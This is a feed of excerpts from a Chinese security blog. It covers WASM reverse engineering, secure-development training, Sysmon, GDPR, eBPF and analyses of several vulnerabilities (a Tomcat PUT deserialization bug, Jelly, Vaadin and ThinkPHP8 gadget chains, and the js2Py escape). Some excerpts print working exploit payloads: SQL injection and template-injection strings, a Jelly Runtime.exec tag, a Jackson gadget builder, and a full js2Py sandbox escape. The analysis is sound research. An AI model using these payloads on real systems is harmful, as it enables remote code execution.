首页|Aiwin - 安全
type: channel
link: https://www.aiwin.net.cn/index.php/tag/%E5%AE%89%E5%85%A8/
items: wasm与jsvmp
items: 开发安全培训
items: sysmon
items: GDPR学习笔记
items: Apache Tomcat PUT导致漏洞分析
items: eBPF初识
items: Apache Common Jelly浅析
items: Vaadin新反序列化链
items: thinkphp8反序列化链子分析
items: CVE-2024-28397 js2Py逃逸浅析

wasm与jsvmp
type: item
date: 2025-11-16T08:34:39+08:00
description: 前述 经常刷抖音有刷到一些爬虫的前端逆向直播，大多数的目的都是为了卖课，其中图灵Python看起来还是挺厉害的，所以就挑起了一些兴趣，挑一下他们出的题目，来玩一玩看一看，顺便总结一下之前的知识。 Wasm Wasm指的就是WebAssembly，这并不是一种加密算法，而是一种前端加速的措施，因为计算机最终都是通过转成二进制来识别的，而javascript是单线程的，在处理复杂的运算的时候会非常吃力。因此就出现了WebAssembly，一种底层的二进制格式，用于处理复杂的运算，让前端突破瓶颈。 比如通过引起assemblyscript依赖编译Wasm文件 npm install -g assemblyscript mkdir as-wasm && cd as-wasm npm init -y npx asinit . npm run asbuild 图灵Wasm第11题为例 点击调试，会进去无限debugger循环，需要让断在不在debugger停顿即可。 这道题的要求是通过接口直接获取页面的随机数数字，通过请求参数可以发现有3个参数，分别是_ts m page，根据含义可以看到这里的page是页数，_ts是时间戳，而m暂时不知道是什么。通过启动器发现其实就调用了pagination11.js一个js文件。 在文件中发现参数，m是调用了callEncryptFunction函数的， e其实就是调用了new Date()函数的时间戳。 e = d['iRmDq'](parseInt, Math[O(0xbc, 'IeoU')](d[O(0x97, 'b^tv')](new Date()[O(0xb8, 'jvOw')](), 0x3e8))[O(0x99, 's(3L')]()); 其实就是时间戳 d['iRmDq'](parseInt,Math["round"](d['GQcTJ'])(new Date()["getTime"](),1000)).toString() m参数由callEncryptFunction生成，传入的参数为页数和时间戳，调用encrypt函数。 function callEncryptFunction(c, d) { const F = b , f = { 'gDlFk': F(0xb2, '8WDi') }; try { const g = window['exports']['encrypt'](c, d); return g; } catch (h) { console[F(0xa1, 'wL$X')](f[F(0xc6, 'H(^%')], h); } } 这里encrypt函数就是WASM文件，分析一下WASM的代码，前面其实都是标准的代码。 (module (table $__indirect_function_table (;0;) (export "__indirect_function_table") 2 funcref) (memory $memory (;0;) (export "memory") 256) (global $global0 (mut i32) (i32.const 5243920)) (elem $elem0 (i32.const 1) (ref func) (ref.func $_initialize)) (func $_initialize (;0;) (export "_initialize") nop ) (func $stackAlloc (;1;) (export "stackAlloc") (param $var0 i32) (result i32) global.get $global0 local.get $var0 i32.sub i32.const -16 i32.and local.tee $var0 global.set $global0 local.get $var0 ) (func $stackRestore (;2;) (export "stackRestore") (param $var0 i32) local.get $var0 global.set $global0 ) (func $stackSave (;3;) (export "stackSave") (result i32) global.get $global0 ) (func $encrypt (;4;) (export "encrypt") (param $var0 i32) (param $var1 i32) (result i32) local.get $var0 local.get $var1 i32.const 3 i32.div_s i32.add i3…

开发安全培训
type: item
date: 2025-10-20T18:02:00+08:00
description: 安全开发的意义 安全是开发的核心前提：在代码编写与系统设计的全流程中，主动预判并规避潜在安全漏洞是开发工作的基础环节，而非后续补充。这要求开发者将安全思维融入需求分析、编码实现、测试验证等每一步，从源头降低漏洞引入风险。 安全的本质是风险可控：没有绝对的安全是行业共识，安全开发的目标并非追求 “零风险”，而是通过体系化措施将风险压缩至可接受的极低范围，实现 “相对安全” 的稳态。 安全投入直接关联核心利益：产品安全工作的深度与广度，直接决定了黑客的攻击成本。每多一分安全加固，都能提升攻击门槛，从而为客户数据安全与公司商业利益增添一道坚固屏障。 左移安全显著降低综合成本：将安全考量与问题解决左移至产品生命周期的早期（如设计阶段、编码初期），实现早规划、早发现、早修复，能大幅降低后期（如上线后）修复漏洞的技术难度与时间成本，更能有效避免漏洞被利用导致的业务中断、数据泄露等重大损失。 安全威胁来自哪里 黑/灰产业链：用户信息买卖、订单信息买卖、数据库买卖、电信订单诈骗、黄牛刷单（活动低价商品、优惠券）、0元订单。 白帽子黑客 竞争对手 合作伙伴 供应商 外包商 内部人员 漏洞排行榜 OWASP是什么？ OWASP 是 Open Web Application Security Project（开放式 Web 应用程序安全项目）的缩写，是一个全球性的、非营利性的网络安全组织，致力于提升 Web 应用程序的安全性。 OWASP 的核心使命是 “使安全成为软件开发生命周期中不可分割的一部分”。它通过汇聚全球各地的安全专家、开发人员、研究人员和技术爱好者，以开源协作的方式产出免费、公开的安全资源，帮助企业和个人理解、应对 Web 应用面临的安全风险，打破安全知识和工具的壁垒。 OWASP VS XXX TOP10 OWASP TOP 10 XXX TOP 10 失效的访问控制 不安全的设计 加密失败 敏感信息泄露 注入 失效的访问控制 不安全的设计 安全配置错误 安全配置错误 使用易受攻击和过时的组件 使用易受攻击和过时的组件 注入 身份识别和身份验证失败 跨站脚本 软件和数据完整性故障 不安全的反序列化 安全日志记录和监控失败 服务端请求伪造 服务器端请求伪造 加密失败 OWASP TOP 10高频场景 失效的访问控制：用户的访问权限控制不足，攻击者可能未经授权访问敏感数据或执行关键操作。 水平越权（同权限组用户互访） 某电商 APP 的 “我的订单” 接口为 GET /api/metacat/XXX?groupId=61，后端仅校验用户是否登录，未校验 groupId 属于当前登录用户。攻击者修改 groupId为他人组号（如 62），即可直接查看其他用户的信息。 垂直越权（低权限用户访问高权限功能） 某电网管理系统中，普通员工登录后页面隐藏 “管理员后台” 入口，但管理员后台的核心接口 POST /api/admin/deleteUser 未校验用户角色。攻击者通过抓包工具直接构造该接口请求，可删除任意员工账号。 未授权访问接口资源 某学校管理系统Swagger接口文档信息泄露，通过一个个试验发现存在部门信息接口访问无需权限控制，最终通过小红书求助拿到整个学校的全部学生信息和账号密码。 加密失败：数据加密过程存在问题，导致敏感信息在传输或存储时面临泄露风险。 密码弱哈希存储 某论坛为简化开发，将用户密码用 MD5 算法直接哈希后存储（无盐值）。攻击者获取数据库后，通过 "彩虹表"快速破解大量密码（如 MD5("123456")=e10adc3949ba59abbe56e057f20f883e 可直接匹配）。 传输层未加密 某小型理财平台仍使用 HTTP 协议传输用户登录数据，攻击者通过"中间人攻击"（如抓包），可直接捕获用户输入的账号密码明文，无需破解即可登录。 密钥硬编码与弱加密 某 APP 为保护本地存储的用户 Token，用 AES 算法加密但将密钥硬编码在代码中（String aesKey = "abcdef1234567890"），且加密模式设为 ECB（电子密码本模式，相同明文加密结果相同）。攻击者反编译 APP 获取密钥后，可轻松解密所有用户 Token。 注入：攻击者向应用输入字段注入恶意代码，使应用执行恶意命令或查询，常见的有 SQL 注入、模板注入等。 某工业控制系统管理后台登录页面账号处输入admin' OR '1'='1'，使用任意密码可成功登录成admin账户 某商城系统使用 Freemarker 模板，攻击者注入 <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBui…

sysmon
type: item
date: 2025-10-20T17:01:00+08:00
description: Sysmon Sysmon(System monitor)微软提供的轻量级的系统监控工具，能根据自定义编写配置文件监控并记录进程创建、网络连接、文件操作、驱动情况等等详细信息，相关的详细信息会写入到事件查看器——应用程序和服务日志——Windows——Sysmon日志事件里面去，从功能上来看，Sysmon类似于HIDS，依托于Windows内核态注册回调并通过ETW存储展示Windows日志。 Windows系统主要分为用户态（ring3）和内核态（ring0）： ring3：普通应用程序层级，权限低，不能直接操作系统底层资源（比如进程创建、文件读写），适合做数据收集、解析、展示非底层操作。 ring0：驱动程序运行的层级，能直接访问系统内核资源，能监控所有底层操作（比如进程创建、文件底层读写），但风险高（写得不好会导致系统蓝屏），适合做底层数据采集。 Sysmon也分成这样的两层，通过内核驱动捞底层原始数据，用户态负责补全数据并将原始数据翻译成易懂的日志 层级 运行的组件 核心职责 依赖 ring3 用户态 Sysmon 服务（exe 程序） 1. 收集网络数据；2. 解析驱动传来的原始数据 ETW（事件跟踪）、EventLog（事件日志） 内核态驱动 Minifilter 文件过滤驱动 1. 收集进程 / 线程 / 模块信息；2. 记录文件 / 注册表访问 进程回调、Minifilter、注册表回调 ring3： Sysmon的用户态程序会订阅 Windows 的 “网络相关 ETW(Event Tracing for Windows) 事件（比如网络连接、端口监听、数据发送接收等），直接从系统层面捕获网络数据。 驱动会把收集到的进程 / 文件 / 注册表原始数据，通过内核态→用户态的通信机制（比如事件对象、共享内存）传给Sysmon用户态程序；用户态程序通过 EventLog的规范，把这些原始数据 翻译成结构化日志 —— 比如把PID对应到进程名、把内存地址转成实际的文件路径 / 注册表路径，最终生成包含时间戳、进程信息、操作对象、操作类型、结果的清晰日志。 ring1： 内核允许驱动注册回调，当系统中任何进程发生创建、退出或者进程加载了新模块（比如 DLL 文件），内核会立刻通知驱动，驱动就能捕获到关键信息： 进程信息：PID、进程名、父进程 PID、进程路径、创建时间、退出时间； 线程信息：线程 ID、所属进程 PID、线程创建 / 退出时间； 模块信息：加载的 DLL/EXE 路径、模块名、加载时间、所属进程。 基于Minifilter，驱动能拦截所有进程的文件操作，记录： 操作进程：哪个进程在操作文件； 操作对象：文件的完整路径； 操作类型：创建、读取、写入、删除、重命名等； 操作结果：成功 / 失败（比如权限不足导致删除失败）。 内核支持注册表回调，驱动注册后，能拦截所有注册表操作： 操作进程：哪个进程在操作注册表； 操作对象：注册表的完整路径（比如 HKEY_LOCAL_MACHINE\SOFTWARE\XXX）； 操作类型：创建、读取、写入、删除等； 操作结果：成功 / 失败。 总的来说，Sysmon是两层架构的协作流程： 驱动采集底层数据：通过进程回调 + Minifilter + 注册表回调，收集原始数据。 数据传递给用户态：通过内核->用户态的通信通道，传给Sysmon服务 用户态补充+解析：通过ETW补充采集网络数据，同时接收驱动传来的二进制数据，并解析EventLog 生成最终的日志：整合以上的数据，写入日志库中供用户查看 Sysmon语法字段 Sysmon事件对象： 事件 ID 事件名称 核心监控内容 1 ProcessCreate 进程创建（记录完整命令行、父进程 ID、进程路径、哈希值等） 2 ProcessCreateEx 进程创建扩展信息（包含进程创建时的环境变量、令牌信息等详细数据） 3 NetworkConnect 网络连接建立（记录源 IP / 端口、目标 IP / 端口、协议、进程信息等） 4 ServiceConfigurationChange 服务配置变更（记录服务的创建、修改、删除或启动类型变更） 5 ProcessTerminate 进程终止（记录进程 ID、名称及终止时间） 6 DriverLoad 驱动加载（记录驱动路径、哈希值、签名信息，用于检测恶意驱动） 7 ImageLoad 镜像加载（记录进程加载的 DLL 等模块路径、哈希值，检测 DLL 注入） 8 RemoteThreadCreate 远程线程创建（记录跨进程创建线程的行为，常用于检测进程注入） 9 NetworkDisconnect 网络连接断开（记录连接断开的进程、IP / 端口信息） 10 Proc…

GDPR学习笔记
type: item
date: 2025-05-24T11:40:00+08:00
description: 欧洲机构 Compare European institutions 1、EU(European Union 欧盟)：27个成员国，经济与政治联盟，拥有以下的隐私与数据保护法： Charter of Fundamental Rights of the EU(CFREU)：欧盟基本权利宪章 Treaty on the Functioning of the EU(TFEU)：欧盟条约 Lisbon Treaty：里斯本条约 General Data Protection Regulation(GDPR)：通用数据保护条约 ePrivacy Directive：电子隐私指令 National data protection laws across Europe：欧洲各国数据保护法 2、COE(Council of Europe 欧洲委员会)：46个成员国（包含欧盟的26个），没有立法能力，但能影响法律的执行和方向。制定的公约或机构有： European Convention of Human Rights(ECHR)：欧洲人权公约，用于保护人权、民主和法治 European Court of Human Rights(ECtHR)：欧洲人权法院，用于监督遵守欧洲人权条约 CoE Convention：欧洲委员会公约(108公约)，关于个人数据自动处理的公约 3、European Economic Area(EEA 欧洲经济区)：经济区域，包含欧盟成员国和冰岛、挪威、列支敦士登（非欧盟国家在EEA要采纳欧盟关于单一市场的立法），立法核心如下： Agreement of European Economic Area（1994）：1994欧洲经济区协议 Allow European Free Trade Association(EFTA)participate internal market：欧洲自由贸易协会成员完参与内部市场 注：瑞士不是EEA协议的一部分，采取的是双边协议 Compare CFREU of ECHR Charter of Fundamental Rights of the EU European Convention of Human Rights 欧盟 欧洲委员会 依据里斯本条约确定基本权利 以1948-12-10通过的世界人权宣言为基础 满足于欧盟 欧洲的基本权利文件（不仅是欧盟） 确定数据保护的单独权利 包括数据保护（私人生活）的权利 整体来说，欧盟基本权利宪章不得违反欧洲人权公约，人权公约相比于欧盟基本权利宪章要包括的更广泛，但欧盟基本权利宪章可以提供更高的保护水平。 Article 8 is considered open-ended provisions for European Convention of Human Rights ：第 8 条被称为最开放性的条款，8.2中划定个人数据保护的例外情况，平衡了个人数据保护和公共利益： Public security and safety：国家或公共安全 Economic well-being of country：国家经济福祉 Prevention of disorder of crime：防止混乱与犯罪 Protection of health and morals：保护健康与道德 Protection of rights and freedoms of others：保护他人的权利与自由 Compare CJEU of ECtHR Court of Justice of the EU European Court of Human Rights 欧盟的司法机构 欧洲委员会机关之一 欧盟法律问题和执行决定 执行欧洲人权公约和108公约 欧洲法院(ECJ)：欧盟最高法院，裁决欧盟法律争议，初审法院(CFI)：审理自然人或法人提起的诉讼以及欧共体和雇员争议 以个人身份任职，不代表任何国家 成员国相关案件中的数据保护 个人信息权的条件细化为合法性、合目的性、合比例性的干涉三要件的相关保护 Based in Lusembourg(卢森堡) Based in Strasbourg upholds(斯特拉斯堡) The rights for EU Institutions 欧洲理事会（European Council） 构成：由欧盟所有国家的国家元首或政府首脑、欧洲理事会主席、欧盟委员会主席组成 。 职能：确定欧盟的优先事项，为欧盟设定政治方向 。 欧盟委员会（European Commission） 构成：每个成员国各有一名委员，委员需承诺遵守欧盟条约 。 职能: 执行欧盟的决定和政策 。 拥有广泛职能，包括立法提案权 。 在数据保护方面，是历史上最活跃的欧盟机构 …

Apache Tomcat PUT导致漏洞分析
type: item
date: 2025-05-24T11:39:00+08:00
description: CVE-2025-24813 漏洞描述 由于Apache Tomcat的Partial PUT原始实现使用了一个基于用户提供的文件名和路径生成的临时文件，当处理不完整的PUT请求时，会将文件路径中的分隔符 / 替换为 .，当应用这时使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置，攻击者就可以通过 partial PUT请求将包含恶意序列化数据的文件上传至会话目录，并完成反序列化 影响版本： 9.0.0.M1至9.0.98 10.1.0-M1至10.1.34 11.0.0-M1至11.0.210.1.0-M1 利用条件 默认DefaultServlet启用了写入功能，即ReadOnly=False 支持Partial PUT请求 应用程序开启了Tomcat基于文件的会话持久化功能，并采用默认的存储位置 应用程序存在能被用于反序列化的库 漏洞复现 1、在Content.xml中需要开启Session的持久化存储 <Context> --> <WatchedResource>WEB-INF/web.xml</WatchedResource> <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource> <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource> <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager> </Context> 2、开启DefaultServlet的默认写入功能 <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> 假设Tomcat的本地依赖中存在Jackson链，则可以尝试打入以下反序列化文件，触发session的时候可能需要多执行几次并等待： package com.example.jackson; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class JacksonTomcat { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NotFoundException, CannotCompileException { CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClas…

eBPF初识
type: item
date: 2025-02-25T21:49:00+08:00
description: eBPF初识 什么是eBPF？ 1、eBPF(extended Berkeley Packet Filter)是一种Linux内核中的虚拟机技术，于2014年提出，一小群工程师从dtrace中吸收了优点，扩展了BPF提供更多的指令和结构，核心就是运行在Linux内核的虚拟机，具有JIT即时编译的功能，可将用户编写的eBPF代码编译成本地代码，重点是不需要修改内核代码的情况下运行功能，动态注入到内核中，从而能够保持系统稳定的同时又能自定义多种场景，常用于Linux内核调优，一些网络监控，性能监控等。 2、eBPF的应用场景： 网络监控：可用于捕获网络数据包，并执行特定的代码逻辑来对流量进行分析和警报。 安全过滤：可用于对网络数据包进行安全过滤，对恶意命令进行拦截，可以阻止恶意流量的传播。 性能分析：可用于收集内核的性能指标，并通过特定的接口将其可视化，对性能瓶颈进行优化。 虚拟化：这也是eBPF技术在云原生领域被广泛应用的原因，如Kubernetes的网络插件，容器之间的安全隔离，负载均衡等等。 工作原理 BPF Program: 用户空间中的BPF程序通过编译器（如LLVM/Clang）被编译成BPF字节码（xxx.bpf）。 BPF Bytecode:编译后的BPF字节码通过bpf()系统调用加载到内核空间。 Verifier + JIT: 内核中的eBPF框架会对BPF字节码进行验证（Verifier），确保其安全性，并通过JIT编译成原生代码（Native Code），以便在内核中高效执行。 Kernel Functions: 生成的原生代码可以调用内核函数来执行特定任务，如网络包处理、系统调用跟踪等。 BPF Maps: BPF程序可以使用BPF映射（Maps）来存储数据，这些映射可以在多个BPF程序之间共享数据。 Reader: 用户空间中的读取器可以通过bpf()系统调用来访问BPF映射中的数据，这种映射通常是键值形式存储，值通常是任意的二进制数据块。 用户态程序通过文件描述符FD通过地图寻址访问BPF对象，每个对象都有一个引用计数器。用户态打开、读取相应FD，对应计数器会增加。若FD关闭，引用计数器减少，当refcnt为0时，内核会释放BPF对象，即使用户态程序退出，只要refcnt不为0，该对象也不会随着用户态退出而退出。 常用工具 使用原生的eBPF汇编来编写跟踪系统的调用情况难度是比较大的，因此可以使用现成的工具框架简化我们的工作。 BBC：提供了更高级的语言，允许用户采用Python、Lua等高级语言快速开发BPF程序，并且提供了更人性化函数给用户使用。 bpftrace：高级追踪语言，适合用于快速排查和定位系统问题，支持用单行脚本的方式快速开发并执行eBPF程序。 tcptop：实时监控和分析 TCP 流量的工具。 cilium/eclat：提供网络连接、安全可见性和网络安全策略实施等功能，eclat帮助管理和操作eBPF程序。 BCC工具 1、安装BCC工具 sudo apt-get install bpfcc-tools linux-headers-$(uname -r) 2、结合Python BCC提供的丰富API，使得方便利用eBPF技术进行内核态和用户态之间的交互，常用方法如下： BPF(text=)：通过传入C语言编写的eBPF程序文本，创建一个BPF对象并加载该程序到内核 attach_kprobe(event, fn_name)：将一个BPF函数附加到指定的内核函数入口(kprobe)上，用于跟踪或修改内核行为 attach_kretprobe(event, fn_name)：类似于`attach_kprobe`，但它是将BPF函数附加到内核函数的返回点(retprobe)上 attach_tracepoint(tp, fn_name)：将BPF函数附加到特定的tracepoint事件上，tracepoints是内核中预定义的静态跟踪点 attach_uprobe(name, sym, fn_name):在共享库或二进制文件中的指定符号(sym)处设置用户级探针(uprobe)，以便跟踪用户空间应用程序的行为 attach_uretprobe(name, sym, fn_name):类似于`attach_uprobe`，但是是在指定函数返回时触发 trace_fields():从BPF程序中读取一条追踪记录，并以元组形式返回（任务名、PID、CPU编号、标志、时间戳、消息内容等） get_table(name)：获取一个BPF表（如哈希表、数组等），允许与BPF程序交换数据 perf_buffer_poll()：使用perf缓冲区机制来收集来自BPF程序的数据，适用于需要高性能数据采集的…

Apache Common Jelly浅析
type: item
date: 2024-12-09T23:18:00+08:00
description: Commons-jelly Jelly Apache Commons Jelly是一个基于 Java 的轻量级脚本引擎和模板引擎，主要用于解析和执行 XML 格式的脚本。它是 Apache Commons 项目的一部分，旨在提供一种简单的方式来在 Java 应用程序中嵌入脚本逻辑，类似于其它模板模板引擎如Apache Velocity 或Freemarker，但是从Jelly官方文档定义的标签中不难看出，它将JSTL、Velocity, Ant等表达式语言借鉴到了一起。正如其它的模板引擎一样，因为支持动态解析的特性，因此在使用时需要严格限制输入的动态数据。 常见语法 <j:out>：将文本或表达式输出到标准输出或指定的输出流。 <j:if>：条件判断标签，如果条件为 true，则执行子标签。 <j:elseif> 和 <j:else>：在 <j:if> 中用于扩展条件判断。 <j:for>：循环标签，用于遍历数组或集合。 <j:while>：循环标签，用于在给定条件为 true 时反复执行。 <j:break>：用于跳出循环。 <j:continue>：用于跳过当前循环的剩余部分，进入下次循环。 <j:set>：设置变量的值。 <j:get>：获取变量的值。 <j:include>：将其他 Jelly 脚本包含到当前脚本中。 <j:include>：与<j:when>等多条件选择结构 ${expression}：在标签中使用表达式来动态计算值。 <j:eval>：评估和执行给定的表达式或代码块。 <j:script>：在 Jelly 脚本中嵌入脚本代码。 <j:printf>：格式化输出，类似于 Java 的 System.out.printf()。 <j:dynamicTag>：动态标签，可以在运行时动态定义和创建标签。 <j:invoke>：调用方法或执行操作的标签。 <j:invokeStatic>：调用静态方法的标签。 <j:useBean>：创建和使用 Java Bean 的标签。 <j:try> 和 <j:catch>：用于异常处理的标签块。 <j:finally>：用于定义在 try 或 catch 块结束时执行的代码。 <j:case>：在 switch 结构中使用的标签。 <j:switch>：实现 switch 语句的标签。 <ant:task>：与 Apache Ant 集成的标签，用于执行 Ant 任务。 <ant:property>：设置或获取 Ant 属性。 <j:tagLibrary>：定义一个标签库，注册和使用自定义标签。 <j:foreach>：用于迭代集合或数组。 <j:while>：执行循环，直到条件不成立。 <j:parse>：解析 XML 数据。 <j:transform>：应用 XSLT 转换。 <j:toXML>：将对象转换为 XML 格式。 部分用例如： <j:set var="myVar" value="Hello World" /> <j:invoke on="${object}" method="methodName"> <j:arg value="argumentValue" /> </j:invoke> <j:new var="myObject" class="com.example.MyClass" /> <j:useBean id="beanId" class="com.example.BeanClass" /> <j:invokeStatic className="com.example.ClassName" method="staticMethodName"> <j:arg value="argumentValue" /> </j:invokeStatic> <j:choose> <j:when test="${condition1}"> </j:when> <j:when test="${condition2}"> </j:when> <j:otherwise> </j:otherwise> </j:choose> 代码分析 从以上的标签不难看出，jelly能使用的标签语法非常丰富，其中不乏有能调用方法、动态new对象、invoke直接调用某些方法等等危险度较高的标签，如以下： <j:jelly xmlns:j="jelly:core" xmlns:util="jelly:util"> <j:invokeStatic className="java.lang.Runtime" method="getRuntime" var="runtime" /> <j:invoke on="${runtime}" method="exec"> <j:arg value="c…

Vaadin新反序列化链
type: item
date: 2024-09-30T17:40:00+08:00
description: 前言 博客许久没有更新了。究其原因，是因为工作了接近两年的时间里，我在业余时间里接触安全知识的欲望正在不断的降低，今天在临国庆前一天工作上的事情并不多，所以就写下了这篇博客，希望能慢慢找到那种写博客的渴望。 J2EEConnectionPool 原Vaadin链可以参考我之前的文章：https://www.aiwin.net.cn/index.php/archives/4398/，主要是通过控制`NestedMethodProperty#getValue`中的`Method.invoke`中的参数达到命令执行的效果。 整个链子的入口也是Java Gadgets常见的toString方法，即PropertysetItem#toString，从而把整个链子都能引向HashMap、HashTable、BadAttributeValueExpException等readObject开端。 但其实这里通过getItemProperty方法其实就是从map中根据propertyId来获取值，而map可以通过addItemProperty方法控制值，也就是说可以找到其它类的getValue方法，从而形式新的触发链。 在AbstractSelect#getValue方法中，首先从AbstractField#getValue方法中获取值，其实就是触发下方的getFieldValue返回value的值，而value是其中一个可控的参数。所以retValue是可控的，而this.items也是可反射控制的参数，从而能够控制SQLContainer#ContainsId方法，需要注意的是无论是AbstractField还是AbstractSelect都是abstract修饰的方法。 public abstract class AbstractField<T> extends AbstractComponent implements Field<T>, ReadOnlyStatusChangeListener, ReadOnlyStatusChangeNotifier, ShortcutNotifier { private T value; private T getFieldValue() { return this.dataSource != null && !this.isBuffered() && !this.isModified() ? this.convertFromModel(this.getDataSourceValue()) : this.getInternalValue(); } protected T getInternalValue() { return this.value; } 在SQLContainer#ContainsId中，当cachedItems和removedItems不包含retValue的值，且retValue属于RowId类但是又不是TemporaryRowId的类时，就能够来到this.queryDelegate.containsRowWithKey方法中，注意这里addedItems也需要赋值，否则会触发报错。 public class SQLContainer implements Container, Filterable, Indexed, Sortable, ItemSetChangeNotifier { private QueryDelegate queryDelegate; public boolean containsId(Object itemId) { if (itemId == null) { return false; } else if (this.cachedItems.containsKey(itemId)) { return true; } else { Iterator var2 = this.addedItems.iterator(); while(var2.hasNext()) { RowItem item = (RowItem)var2.next(); if (item.getId().equals(itemId)) { return this.itemPassesFilters(item); } } if (this.removedItems.containsKey(itemId)) { return false; } else if (itemId instanceof ReadOnlyRowId) { int rowNum = ((ReadOnlyRowId)itemId).getRowNum(); return rowNum >= 0 && rowNum < …

thinkphp8反序列化链子分析
type: item
date: 2024-07-06T22:02:00+08:00
description: Thinkphp8反序列化链子分析 前言 thinkphp8发布不久，支持的PHP版本最低为8，从各大社区都描述可知，PHP8的开发中潜入了安全的研究者，也就是相对来说PHP8变的比较安全。但是并不影响能够找到反序列化的链子，根据师傅们写的文章也不难看出，thinkphp8的反序列化链子不过是将thinkphp6的链子换了一个入口。 搭建环境 composer create-project topthink/think tp8 //Apache中使用的php版本要高于8 链子分析 从thinkphp分析合集中可以知悉，漏洞的source点是通过Model触发save方法从而触发后续的链子，但是在thinkphp8中可以看到，整个类的destruct方法都被删除掉了，也就是失去了这个触发点，只需要找一个新的source点即可。 根据平常的惯例，php的反序列化点一般都是在destruct或wakeup等拥有主动性的函数，这次的source点在ResourceRegister类的__destruct方法，方法能够触发register方法，而$this->registered默认是false的。 进入register方法后，会来到parseGroupRule方法中，参数是this->resource->getRule()的返回值，也就是从Rule类中直接返回变量rule的值。 在Resource#parseGroupRule方法中可知，先判断rule变量是否存在.，如果存在，则会分割成数组，随后弹出数组中的第一个索引并遍历数组，$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';会取出options变量var数组的val索引并与字符串拼接，这里的option也是完全可控的，也就是说这里可以触发_toString方法。 在Convertion#__toString方法中，能够触发toJson方法的，从这里也就连接起了thinkphp6链子的后半段信息。 进入到_toJson方法会通过json_encode编码成json，在这之前会触发toArray()方法先变成数组，方法的具体内容如下： public function toArray(): array { $item = $visible = $hidden = []; $hasVisible = false; foreach ($this->visible as $key => $val) { if (is_string($val)) { if (str_contains($val, '.')) { [$relation, $name] = explode('.', $val); $visible[$relation][] = $name; } else { $visible[$val] = true; $hasVisible = true; } } else { $visible[$key] = $val; } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (str_contains($val, '.')) { [$relation, $name] = explode('.', $val); $hidden[$relation][] = $name; } else { $hidden[$val] = true; } } else { $hidden[$key] = $val; } } foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name, $visible, $hidden); } $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { if (isset($visible[$key]) && is_array($visible[$key])) { $val->visible($visible[$key]); } elseif (isset($hidden[$key]) && is_array($hidden[$key])) { $val->hidden($hidden[$key], true); } if (!array_key_exists($…

CVE-2024-28397 js2Py逃逸浅析
type: item
date: 2024-06-26T11:37:00+08:00
description: CVE-2024-28397 js2Py逃逸浅析 前言 这是在微信中给我推送的一个漏洞信息，js2py作为一个在python语言中进行js操作的依赖库，确实使用的用途十分广泛。但是由于这个库更多的应当是用于进行爬虫操作，我对于这个库的第一印象也只是在渗透测试中破解前端解密的时候使用过。因此它应该没有什么能够影响的Web资产面。 这里的漏洞描述十分简单，我开始看的是云里雾里，也导致了这个原理十分简单的漏洞，一直调试了很久，下文记录一下整个心理历程。 漏洞原理 这是漏洞的payload，最开始我以为pyjsparser.parser.ENABLE_PYIMPORT = False的作用是阻止js代码中通过一些恶意的语句来限制出现python类的对象，因此我的目光是否在eval_js途中使得ENABLE_PYIMPORT =True，于是就开始了调试代码。 import js2py payload = """ let cmd = "calc;" let obj obj = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true) console.log(n11) """ def main(): try: result = js2py.eval_js(payload) except Exception as e: print(e) return False return result if __name__ == "__main__": main() 首先进入到eval_js中，会先创建一个EvalJs对象，在创建EvalJs途中会初始化一些变量，前面self._var等都是空字典，直至six.iteritems(context)，这里的six.py是一个在python2与python3中的代码兼容库，而这里的最终作用应该是为了python一些上下文的变量能够被JavaScript访问到。 def __init__(self, context={}, enable_require=False): self.__dict__['_context'] = {} exec (DEFAULT_HEADER, self._context) self.__dict__['_var'] = self._context['var'].to_python() if enable_require: def _js_require_impl(npm_module_name): from .node_import import require from .base import to_python return require(to_python(npm_module_name), context=self._context) setattr(self._var, 'require', _js_require_impl) if not isinstance(context, dict): try: context = context.__dict__ except: raise TypeError( 'context has to be either a dict or have __dict__ attr') for k, v in six.iteritems(context): setattr(self._var, k, v) def eval_js(js): e = EvalJs() return e.eval(js) 进入到eval后就会来到execute方法中，use_compilation_plan应该是与某种编译的方式有关，默认是False，随后会判断是否存在缓存，如果存在缓存，则会计算出hash用于查找编译过的代码，如果没有缓存，则会调用translate_js将JS代码转换成Python代码，最终把编译后的代码放入缓存，并通过exec执行代码。 def execute(self, js=None, use_compilation_plan=False): try: c…